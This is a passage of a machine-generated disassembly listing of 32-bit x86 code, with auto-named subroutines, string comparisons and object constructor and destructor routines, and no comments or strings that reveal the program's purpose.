		call	sub_13ABE9B
		push	offset dword_4435EC
		lea	ecx, [esp+10Ch+var_68]
		push	ebx
		push	ecx
		lea	ecx, [esp+114h+var_98]
		xor	edi, edi
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+118h+arg_2378], 11h
		call	sub_13AB6EE
		lea	ecx, [esp+118h+var_78]
		mov	esi, eax
		mov	[esp+118h+arg_2374], 0Eh
		call	sub_13AB626
		cmp	esi, ebx
		jz	loc_13BAEBC


loc_13BACAF:				; CODE XREF: sub_13BA370+B46j
		push	96h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+118h+var_104], eax
		cmp	eax, ebx
		mov	[esp+118h+arg_2374], 12h
		jz	short loc_13BACD7
		mov	ecx, eax
		call	sub_13AC454
		mov	esi, eax
		jmp	short loc_13BACD9
; ---------------------------------------------------------------------------


loc_13BACD7:				; CODE XREF: sub_13BA370+95Aj
		xor	esi, esi


loc_13BACD9:				; CODE XREF: sub_13BA370+965j
		push	0ADh
		mov	[esp+11Ch+arg_2374], 0Eh
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+118h+var_104], eax
		cmp	eax, ebx
		mov	[esp+118h+arg_2374], 13h
		jz	short loc_13BAD0B
		mov	ecx, eax
		call	sub_13AB4BE
		mov	[esp+118h+var_104], eax
		jmp	short loc_13BAD0F
; ---------------------------------------------------------------------------


loc_13BAD0B:				; CODE XREF: sub_13BA370+98Cj
		mov	[esp+118h+var_104], ebx


loc_13BAD0F:				; CODE XREF: sub_13BA370+999j
		push	offset dword_443CA0
		lea	ecx, [esp+11Ch+var_100]
		mov	[esp+11Ch+arg_2374], 0Eh
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13BAD32
		mov	byte ptr [esi+93h], 1
		jmp	short loc_13BAD38
; ---------------------------------------------------------------------------


loc_13BAD32:				; CODE XREF: sub_13BA370+9B7j
		mov	[esi+93h], bl


loc_13BAD38:				; CODE XREF: sub_13BA370+9C0j
		push	offset dword_443C9C
		lea	ecx, [esp+120h+var_104]
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13BAD53
		mov	byte ptr [esi+94h], 1
		jmp	short loc_13BAD59
; ---------------------------------------------------------------------------


loc_13BAD53:				; CODE XREF: sub_13BA370+9D8j
		mov	[esi+94h], bl


loc_13BAD59:				; CODE XREF: sub_13BA370+9E1j
		push	offset dword_443604
		lea	ecx, [esp+124h+var_108]
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13BAD74
		mov	byte ptr [esi+95h], 1
		jmp	short loc_13BAD7A
; ---------------------------------------------------------------------------


loc_13BAD74:				; CODE XREF: sub_13BA370+9F9j
		mov	[esi+95h], bl


loc_13BAD7A:				; CODE XREF: sub_13BA370+A02j
		push	offset dword_443600
		lea	edx, [esp+128h+arg_E0]
		push	3
		push	edx
		lea	ecx, [esp+130h+var_10C]
		call	sub_13ABAAE
		push	eax
		lea	ecx, [esi+15h]
		mov	[esp+134h+arg_235C], 14h
		call	sub_13AC3BE
		lea	ecx, [esp+134h+arg_D0]
		mov	[esp+134h+arg_2358], 0Eh
		call	sub_13AB626
		push	offset byte_446F80
		lea	ecx, [esi+54h]
		call	sub_13AB9D7
		push	offset byte_446F80
		lea	ecx, [esi+3Fh]
		call	sub_13AB9D7
		push	offset dword_443600
		lea	eax, [esp+140h+var_6C]
		push	3
		push	eax
		lea	ecx, [esp+148h+var_124]
		call	sub_13ABAAE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	[esp+14Ch+arg_2344], 15h
		call	sub_13AC3BE
		lea	ecx, [esp+14Ch+var_7C]
		mov	[esp+14Ch+arg_2340], 0Eh
		call	sub_13AB626
		push	offset dword_4435EC
		lea	ecx, [esp+150h+arg_E8]
		push	edi
		push	ecx
		lea	ecx, [esp+158h+var_DC]
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+158h+arg_2334], 16h
		call	sub_13ABBE4
		push	eax
		mov	ecx, esi
		call	sub_13AB9D7
		lea	ecx, [esp+15Ch+arg_D8]
		mov	[esp+15Ch+arg_2330], 0Eh
		call	sub_13AB626
		mov	ecx, [esp+15Ch+var_148]
		push	1
		push	esi
		call	sub_13AC1E3
		cmp	esi, ebx
		jz	short loc_13BAE69
		push	1
		mov	ecx, esi
		call	sub_13ABDD3


loc_13BAE69:				; CODE XREF: sub_13BA370+AEEj
		mov	ecx, [esp+168h+var_154]
		call	sub_13AB7D4
		inc	edi
		push	offset dword_4435EC
		lea	edx, [esp+16Ch+var_C8]
		push	edi
		push	edx
		lea	ecx, [esp+174h+var_F8]
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+178h+arg_2318], 11h
		call	sub_13AB6EE
		lea	ecx, [esp+178h+var_D8]
		mov	esi, eax
		mov	[esp+178h+arg_2314], 0Eh
		call	sub_13AB626
		cmp	esi, ebx
		jnz	loc_13BACAF


loc_13BAEBC:				; CODE XREF: sub_13BA370+939j
		lea	ecx, [esp+178h+var_108]
		mov	[esp+178h+arg_2314], bl
		call	sub_13AB626
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BAED1:				; CODE XREF: sub_13BA370+86Bj
		push	offset dword_443600
		lea	eax, [esp+0FCh+arg_25C]
		push	1
		push	eax
		lea	ecx, [esp+104h+var_E0]
		call	sub_13ABAAE
		mov	ecx, ds:dword_447118
		mov	[esp+104h+arg_2388], 17h
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+108h+arg_24C]
		mov	[esp+108h+arg_2384], bl
		setz	[esp+108h+var_F5]
		call	sub_13AB626
		cmp	[esp+108h+var_F5], bl
		jz	loc_13BB1EB
		push	96h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+108h+var_F4], eax
		cmp	eax, ebx
		mov	[esp+108h+arg_2384], 18h
		jz	short loc_13BAF4B
		mov	ecx, eax
		call	sub_13AC454
		mov	esi, eax
		jmp	short loc_13BAF4D
; ---------------------------------------------------------------------------


loc_13BAF4B:				; CODE XREF: sub_13BA370+BCEj
		xor	esi, esi


loc_13BAF4D:				; CODE XREF: sub_13BA370+BD9j
		push	0ADh
		mov	[esp+10Ch+arg_2384], bl
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+108h+var_F4], eax
		cmp	eax, ebx
		mov	[esp+108h+arg_2384], 19h
		jz	short loc_13BAF7C
		mov	ecx, eax
		call	sub_13AB4BE
		mov	edi, eax
		jmp	short loc_13BAF7E
; ---------------------------------------------------------------------------


loc_13BAF7C:				; CODE XREF: sub_13BA370+BFFj
		xor	edi, edi


loc_13BAF7E:				; CODE XREF: sub_13BA370+C0Aj
		push	offset dword_443604
		lea	ecx, [esp+10Ch+var_F0]
		mov	[esp+10Ch+arg_2384], bl
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13BAFA0
		mov	byte ptr [esi+95h], 1
		jmp	short loc_13BAFA6
; ---------------------------------------------------------------------------


loc_13BAFA0:				; CODE XREF: sub_13BA370+C25j
		mov	[esi+95h], bl


loc_13BAFA6:				; CODE XREF: sub_13BA370+C2Ej
		push	offset dword_443CA0
		lea	ecx, [esp+110h+var_F4]
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13BAFC1
		mov	byte ptr [esi+93h], 1
		jmp	short loc_13BAFC7
; ---------------------------------------------------------------------------


loc_13BAFC1:				; CODE XREF: sub_13BA370+C46j
		mov	[esi+93h], bl


loc_13BAFC7:				; CODE XREF: sub_13BA370+C4Fj
		push	offset dword_443C9C
		lea	ecx, [esp+114h+var_F8]
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13BAFE2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_13BAFE8
; ---------------------------------------------------------------------------


loc_13BAFE2:				; CODE XREF: sub_13BA370+C67j
		mov	[esi+94h], bl


loc_13BAFE8:				; CODE XREF: sub_13BA370+C70j
		push	offset dword_443CA4
		lea	edx, [esp+118h+arg_180]
		push	ebx
		push	edx
		lea	ecx, [esp+120h+var_FC]
		call	sub_13ABAAE
		push	offset dword_443600
		lea	ecx, [esp+124h+arg_2C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	[esp+12Ch+arg_236C], 1Ah
		call	sub_13ABAAE
		push	offset dword_443C98
		lea	edx, [esp+130h+arg_138]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	[esp+138h+arg_2360], 1Bh
		call	sub_13ABAAE
		push	eax
		lea	ecx, [esi+15h]
		mov	[esp+13Ch+arg_2354], 1Ch
		call	sub_13AC3BE
		lea	ecx, [esp+13Ch+arg_128]
		mov	[esp+13Ch+arg_2350], 1Bh
		call	sub_13AB626
		lea	ecx, [esp+13Ch+arg_2A8]
		mov	[esp+13Ch+arg_2350], 1Ah
		call	sub_13AB626
		lea	ecx, [esp+13Ch+arg_158]
		mov	[esp+13Ch+arg_2350], bl
		call	sub_13AB626
		push	offset dword_443C98
		lea	eax, [esp+140h+var_3C]
		push	1
		push	eax
		lea	ecx, [esp+148h+var_124]
		call	sub_13ABAAE
		push	offset dword_4437F8
		lea	ecx, [esp+14Ch+var_60]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	[esp+154h+arg_2344], 1Dh
		call	sub_13ABAAE
		push	eax
		lea	ecx, [esi+54h]
		mov	[esp+158h+arg_2338], 1Eh
		call	sub_13AC3BE
		lea	ecx, [esp+158h+var_70]
		mov	[esp+158h+arg_2334], 1Dh
		call	sub_13AB626
		lea	ecx, [esp+158h+var_58]
		mov	[esp+158h+arg_2334], bl
		call	sub_13AB626
		push	offset dword_4437F8
		lea	edx, [esp+15Ch+arg_4]
		push	1
		push	edx
		lea	ecx, [esp+164h+var_140]
		call	sub_13ABAAE
		push	offset dword_443600
		lea	ecx, [esp+168h+var_34]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	[esp+170h+arg_2328], 1Fh
		call	sub_13ABAAE
		push	eax
		lea	ecx, [esi+3Fh]
		mov	[esp+174h+arg_231C], 20h
		call	sub_13AC3BE
		mov	[esp+174h+arg_2318], 1Fh
		lea	ecx, [esp+174h+var_44]
		call	sub_13AB626
		lea	ecx, [esp+174h+var_14]
		mov	[esp+174h+arg_2318], bl
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+178h+arg_18]
		push	2
		push	edx
		lea	ecx, [esp+180h+var_15C]
		call	sub_13ABAAE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	[esp+184h+arg_230C], 21h
		call	sub_13AC3BE
		lea	ecx, [esp+184h+arg_8]
		mov	[esp+184h+arg_2308], bl
		call	sub_13AB626
		push	offset dword_443C94
		lea	ecx, [esp+188h+var_16C]
		call	sub_13AB8D3
		push	eax
		call	strstr	; strstr
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_13BB1BD
		add	eax, 2
		push	eax
		jmp	short loc_13BB1C2
; ---------------------------------------------------------------------------


loc_13BB1BD:				; CODE XREF: sub_13BA370+E45j
		push	offset byte_446F80


loc_13BB1C2:				; CODE XREF: sub_13BA370+E4Bj
		mov	ecx, esi
		call	sub_13AB9D7
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_13AC1E3
		cmp	esi, ebx
		jz	short loc_13BB1DF
		push	1
		mov	ecx, esi
		call	sub_13ABDD3


loc_13BB1DF:				; CODE XREF: sub_13BA370+E64j
		mov	ecx, edi
		call	sub_13AB7D4
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BB1EB:				; CODE XREF: sub_13BA370+BADj
		push	offset dword_443600
		lea	eax, [esp+10Ch+arg_B4]
		push	1
		push	eax
		lea	ecx, [esp+114h+var_F0]
		call	sub_13ABAAE
		mov	ecx, ds:dword_44713C
		mov	[esp+114h+arg_2378], 22h
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+118h+arg_A4]
		mov	[esp+118h+arg_2374], bl
		setz	[esp+118h+var_105]
		call	sub_13AB626
		cmp	[esp+118h+var_105], bl
		jz	loc_13BB3C0
		sub	esp, 18h
		lea	ecx, [esp+130h+var_100]
		mov	edx, esp
		mov	[esp+130h+var_104], esp
		push	offset dword_443600
		push	3
		push	edx
		call	sub_13ABAAE
		mov	ecx, offset word_448CAE
		call	sub_13AC0D0
		cmp	eax, ebx
		jz	short loc_13BB2B2
		sub	esp, 18h
		lea	ecx, [esp+154h+var_124]
		mov	eax, esp
		mov	[esp+154h+var_128], esp
		push	offset dword_443600
		push	3
		push	eax
		call	sub_13ABAAE
		sub	esp, 18h
		mov	[esp+178h+arg_2344], 23h
		mov	ecx, esp
		mov	[esp+178h+var_118], esp
		push	offset dword_443600
		push	3
		push	ecx
		lea	ecx, [esp+184h+var_130]
		call	sub_13ABAAE
		mov	ecx, offset word_448CAE
		mov	[esp+184h+arg_2338], bl
		call	sub_13AC50D


loc_13BB2B2:				; CODE XREF: sub_13BA370+EF3j
		push	offset dword_443600
		lea	edx, [esp+188h+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+190h+var_16C]
		call	sub_13ABAAE
		push	offset byte_E2AA95
		mov	ecx, eax
		mov	[esp+194h+arg_22FC], 24h
		call	sub_13ABF72
		test	eax, eax
		lea	ecx, [esp+194h+arg_58]
		mov	[esp+194h+arg_22F8], bl
		setz	[esp+194h+var_181]
		call	sub_13AB626
		cmp	[esp+194h+var_181], bl
		jz	loc_13BB737
		push	offset dword_443CA4
		lea	eax, [esp+198h+arg_B8]
		push	ebx
		push	eax
		lea	ecx, [esp+1A0h+var_17C]
		call	sub_13ABAAE
		push	offset dword_443C98
		lea	ecx, [esp+1A4h+arg_7C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	[esp+1ACh+arg_22EC], 25h
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+1ACh+arg_22E0], 26h
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+1B0h+arg_D0]
		call	sub_13ABC61
		lea	ecx, [esp+1B0h+arg_6C]
		mov	[esp+1B0h+arg_22DC], 29h
		call	sub_13AB626
		lea	ecx, [esp+1B0h+arg_9C]
		mov	[esp+1B0h+arg_22DC], 28h
		call	sub_13AB626
		mov	ecx, offset byte_44743D
		mov	[ebp+16h], bl
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset dword_4473F4
		call	sub_13ABBE4
		mov	edx, ds:dword_447114
		push	eax
		push	edx
		push	offset dword_443CA8
		push	ebp
		call	sub_13AC20B
		add	esp, 14h
		lea	ecx, [esp+1B0h+arg_CC]
		mov	[esp+1B0h+arg_22DC], bl
		call	sub_13AB626
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BB3C0:				; CODE XREF: sub_13BA370+EC7j
		push	offset dword_443600
		lea	eax, [esp+11Ch+arg_194]
		push	1
		push	eax
		lea	ecx, [esp+124h+var_100]
		call	sub_13ABAAE
		mov	ecx, ds:dword_447130
		mov	[esp+124h+arg_2368], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+128h+arg_184]
		mov	[esp+128h+arg_2364], bl
		setz	byte ptr [esp+128h+var_118+3]
		call	sub_13AB626
		cmp	byte ptr [esp+128h+var_118+3], bl
		jz	loc_13BB578
		push	offset dword_443CA4
		lea	edx, [esp+12Ch+arg_1E4]
		push	1
		push	edx
		lea	ecx, [esp+134h+var_110]
		call	sub_13ABAAE
		push	offset dword_443C98
		lea	ecx, [esp+138h+arg_1A8]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	[esp+140h+arg_2358], 2Bh
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+140h+arg_234C], 2Ch
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+144h+var_E8]
		call	sub_13ABC61
		lea	ecx, [esp+144h+arg_198]
		mov	[esp+144h+arg_2348], 2Fh
		call	sub_13AB626
		lea	ecx, [esp+144h+arg_1C8]
		mov	[esp+144h+arg_2348], 2Eh
		call	sub_13AB626
		push	offset dword_443C94
		lea	ecx, [esp+148h+var_12C]
		call	sub_13AB8D3
		mov	esi, strstr
		push	eax
		call	esi ; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_13BB563
		push	offset dword_443C94
		lea	ecx, [esp+148h+var_12C]
		call	sub_13AB8D3
		push	eax
		call	esi ; strstr
		add	esp, 8
		lea	ecx, [esp+144h+var_BC]
		push	eax
		call	sub_13ABC61
		push	offset byte_446F80
		lea	ecx, [esp+14Ch+var_F0]
		mov	[esp+14Ch+arg_2344], 30h
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13BB54F
		push	offset byte_446F80
		lea	ecx, [esp+150h+var_C4]
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13BB54F
		sub	esp, 18h
		lea	edx, [esp+168h+var_F8]
		mov	ecx, esp
		mov	[esp+168h+var_120], esp
		push	edx
		call	sub_13AB8C9
		mov	ecx, offset word_448CAE
		call	sub_13AC0D0
		cmp	eax, ebx
		jz	short loc_13BB52B
		lea	ecx, [esp+16Ch+var_E4]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_13AC3BE


loc_13BB52B:				; CODE XREF: sub_13BA370+11A9j
		push	offset byte_E2AA95
		lea	ecx, [esp+174h+var_118]
		call	sub_13ABF72
		test	eax, eax
		jnz	short loc_13BB54F
		lea	edx, [esp+174h+var_EC]
		mov	ecx, offset byte_E2AA95
		push	edx
		call	sub_13AC3BE


loc_13BB54F:				; CODE XREF: sub_13BA370+1173j
					; sub_13BA370+1188j ...
		lea	ecx, [esp+178h+var_F0]
		mov	[esp+178h+arg_2314], 2Eh
		call	sub_13AB626


loc_13BB563:				; CODE XREF: sub_13BA370+1134j
		lea	ecx, [esp+178h+var_120]
		mov	[esp+178h+arg_2314], bl
		call	sub_13AB626
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BB578:				; CODE XREF: sub_13BA370+109Cj
		push	offset dword_443600
		lea	eax, [esp+12Ch+arg_244]
		push	1
		push	eax
		lea	ecx, [esp+134h+var_110]
		call	sub_13ABAAE
		mov	ecx, ds:dword_447140
		mov	[esp+134h+arg_2358], 31h
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13BB5FF
		push	offset dword_443600
		lea	edx, [esp+13Ch+arg_204]
		push	1
		push	edx
		lea	ecx, [esp+144h+var_120]
		call	sub_13ABAAE
		mov	ecx, ds:dword_447150
		mov	[esp+144h+arg_2348], 32h
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+148h+arg_1F4]
		mov	[esp+148h+arg_2344], 31h
		setz	[esp+148h+var_135]
		call	sub_13AB626
		mov	al, [esp+148h+var_135]
		mov	[esp+148h+var_135], bl
		cmp	al, bl
		jz	short loc_13BB604


loc_13BB5FF:				; CODE XREF: sub_13BA370+1238j
		mov	[esp+148h+var_135], 1


loc_13BB604:				; CODE XREF: sub_13BA370+128Dj
		lea	ecx, [esp+148h+arg_224]
		mov	[esp+148h+arg_2344], bl
		call	sub_13AB626
		cmp	[esp+148h+var_135], bl
		jz	loc_13BB737
		push	offset dword_443CA4
		lea	edx, [esp+14Ch+arg_254]
		push	1
		push	edx
		lea	ecx, [esp+154h+var_130]
		call	sub_13ABAAE
		sub	esp, 18h
		mov	[esp+16Ch+arg_2338], 33h
		mov	ecx, esp
		mov	[esp+16Ch+var_124], esp
		push	offset dword_443C98
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_13ABAAE
		mov	ecx, offset word_448CAE
		call	sub_13AC0D0
		lea	ecx, [esp+178h+arg_224]
		mov	esi, eax
		mov	[esp+178h+arg_2314], bl
		call	sub_13AB626
		cmp	esi, ebx
		jz	loc_13BB737
		push	offset dword_443CA4
		lea	edx, [esp+17Ch+arg_284]
		push	1
		push	edx
		lea	ecx, [esp+184h+var_160]
		call	sub_13ABAAE
		sub	esp, 18h
		mov	[esp+19Ch+arg_2308], 34h
		mov	ecx, esp
		mov	[esp+19Ch+var_154], esp
		push	offset dword_443C98
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	edx, [esp+1ACh+arg_23C]
		push	1
		push	edx
		lea	ecx, [esp+1B4h+var_178]
		mov	[esp+1B4h+arg_22FC], 35h
		call	sub_13ABAAE
		sub	esp, 18h
		mov	[esp+1CCh+arg_22F0], 36h
		mov	ecx, esp
		mov	[esp+1CCh+var_188], esp
		push	offset dword_443C98
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_13ABAAE
		mov	ecx, offset word_448CAE
		mov	[esp+1D8h+arg_22E4], 37h
		call	sub_13AC50D
		lea	ecx, [esp+1D8h+arg_1F4]
		mov	[esp+1D8h+arg_22B4], 34h
		call	sub_13AB626
		lea	ecx, [esp+1D8h+arg_224]
		mov	[esp+1D8h+arg_22B4], bl
		call	sub_13AB626
		jmp	short loc_13BB737
; ---------------------------------------------------------------------------


loc_13BB730:				; CODE XREF: sub_13BA370+391j
		mov	ecx, ebp
		call	sub_13AC10C


loc_13BB737:				; CODE XREF: sub_13BA370+1D3j
					; sub_13BA370+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_13BA3B2


loc_13BB740:				; CODE XREF: sub_13BA370+3Cj
					; sub_13BA370+4Fj
		lea	ecx, [esp+74h+var_5C]
		mov	[esp+74h+arg_2418], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+74h+arg_2410]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_13BA370	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BBC70	proc near		; CODE XREF: sub_13AB4BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	439698h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC26A
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_13AC454
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13BBC70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BBCF0	proc near		; CODE XREF: sub_13AB55Ej sub_13ABAEAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB41E
		test	[esp+4+arg_0], 1
		jz	short loc_13BBD08
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13BBD08:				; CODE XREF: sub_13BBCF0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13BBCF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BBD20	proc near		; CODE XREF: sub_13AB41Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	4396B8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	dword_43E038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABD6A
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AC431
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13BBD20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BBDA0	proc near		; CODE XREF: sub_13AC454j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43970Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB824
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB824
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB824
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB824
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB824
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13BBDA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BBE60	proc near		; CODE XREF: sub_13ABD6Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43976Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_13AB626
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB626
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB626
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB626
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13BBE60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BBF20	proc near		; CODE XREF: sub_13ABDD3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABD6A
		test	[esp+4+arg_0], 1
		jz	short loc_13BBF38
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13BBF38:				; CODE XREF: sub_13BBF20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13BBF20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BBF50	proc near		; CODE XREF: sub_13ABE0Aj

var_A8		= byte ptr -0A8h
var_9C		= byte ptr -9Ch
var_90		= byte ptr -90h
var_84		= dword	ptr -84h
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	4397E0h
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_13BBF76
		lea	edi, [esi+11h]
		jmp	short loc_13BBF78
; ---------------------------------------------------------------------------


loc_13BBF76:				; CODE XREF: sub_13BBF50+1Fj
		xor	edi, edi


loc_13BBF78:				; CODE XREF: sub_13BBF50+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_13ABDB5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+54h+var_48]
		mov	[esp+54h+var_10], edi
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13BBFCC
		lea	ebx, [esi+11h]
		jmp	short loc_13BBFCE
; ---------------------------------------------------------------------------


loc_13BBFCC:				; CODE XREF: sub_13BBF50+75j
		xor	ebx, ebx


loc_13BBFCE:				; CODE XREF: sub_13BBF50+7Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+80h+var_48]
		push	9
		push	edx
		call	sub_13ABDB5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	[esp+58h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+60h+var_54]
		mov	[esp+60h+var_1C], edi
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13BC02B
